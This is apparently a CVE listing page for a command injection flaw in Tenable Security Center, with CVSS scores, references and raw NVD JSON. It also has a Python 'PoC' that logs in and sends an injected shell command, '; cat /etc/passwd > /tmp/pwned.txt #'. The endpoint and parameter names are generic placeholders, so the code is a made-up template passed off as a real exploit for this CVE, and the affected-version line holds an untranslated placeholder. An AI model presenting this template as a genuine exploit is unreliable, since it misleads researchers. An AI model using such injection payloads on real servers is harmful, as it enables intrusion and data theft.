CVE-2026-2630

Description

A Command Injection vulnerability exists where an authenticated, remote attacker could execute arbitrary code on the underlying server where Tenable Security Center is hosted.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Tenable Security Center < 修复版本（参考TNS-2026-06）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-2630 PoC - Tenable Security Center Command Injection
# Requires authenticated session

import requests
import re

target = "https://target-tenable-sc.com"
username = "attacker"
password = "password"

# Step 1: Login to get session cookie
session = requests.Session()
login_data = {
    "username": username,
    "password": password
}
login_response = session.post(f"{target}/rest/login", json=login_data)

if login_response.status_code != 200:
    print("[-] Login failed")
    exit(1)

token = login_response.json().get('token')
print(f"[+] Logged in successfully, token: {token}")

# Step 2: Exploit command injection
# Inject malicious command through vulnerable parameter
inject_cmd = "; cat /etc/passwd > /tmp/pwned.txt #"
exploit_data = {
    "action": "someAction",
    "parameter": f"value{inject_cmd}"
}

headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

exploit_response = session.post(
    f"{target}/rest/vulnerable-endpoint",
    json=exploit_data,
    headers=headers
)

print(f"[*] Exploit sent, status: {exploit_response.status_code}")
print("[*] Check /tmp/pwned.txt on target server")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2630
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2630
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2630/
[4] VulDB https://vuldb.com/cve/CVE-2026-2630
[5] https://www.tenable.com/security/tns-2026-06

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2630", "sourceIdentifier": "[email protected]", "published": "2026-02-17T19:21:58.060", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Command Injection vulnerability exists where an authenticated, remote attacker could execute arbitrary code on the underlying server where Tenable Security Center is hosted."}, {"lang": "es", "value": "Existe una vulnerabilidad de inyección de comandos donde un atacante remoto y autenticado podría ejecutar código arbitrario en el servidor subyacente donde está alojado Tenable Security Center."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.tenable.com/security/tns-2026-06", "source": "[email protected]"}]}}